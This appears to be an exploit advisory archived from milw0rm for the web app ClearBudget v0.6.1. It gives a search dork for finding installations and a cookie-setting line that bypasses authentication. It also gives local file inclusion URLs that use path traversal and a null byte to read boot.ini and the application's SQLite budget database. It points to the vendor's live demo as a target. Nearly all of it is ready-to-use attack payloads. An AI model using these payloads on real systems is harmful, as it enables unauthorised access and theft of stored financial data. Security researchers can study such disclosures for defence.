32 lines
No EOL
958 B
Text
32 lines
No EOL
958 B
Text
#############################################################################################
|
|
[+] ClearBudget v0.6.1 Insecure Cookie Handling / LFI
|
|
[+] Discovered By SirGod
|
|
[+] www.mortal-team.org
|
|
[+] www.h4cky0u.org
|
|
[+] www.hellzone.info
|
|
[+] www.anti-intruders.org
|
|
#############################################################################################
|
|
|
|
[+] Dork : ClearBudget v0.6.1
|
|
|
|
[+] Homepage : http://clearbudget.douteaud.com/
|
|
|
|
|
|
[+] Insecure Cookie Handling
|
|
|
|
PoC : javascript:document.cookie = "user=true; path=/";
|
|
|
|
Live Demo : http://clearbudget.douteaud.com/demo/0-6-1/
|
|
|
|
|
|
[+] Local File Inclusion
|
|
|
|
Example : http://127.0.0.1/path/index.php?action=[Local File]%00
|
|
|
|
PoC : http://127.0.0.1/path/index.php?action=../../../../boot.ini%00
|
|
|
|
PoC 2 : http://127.0.0.1/path/index.php?action=../db/budget.sqlite%00
|
|
|
|
#############################################################################################
|
|
|
|
# milw0rm.com [2009-02-05] |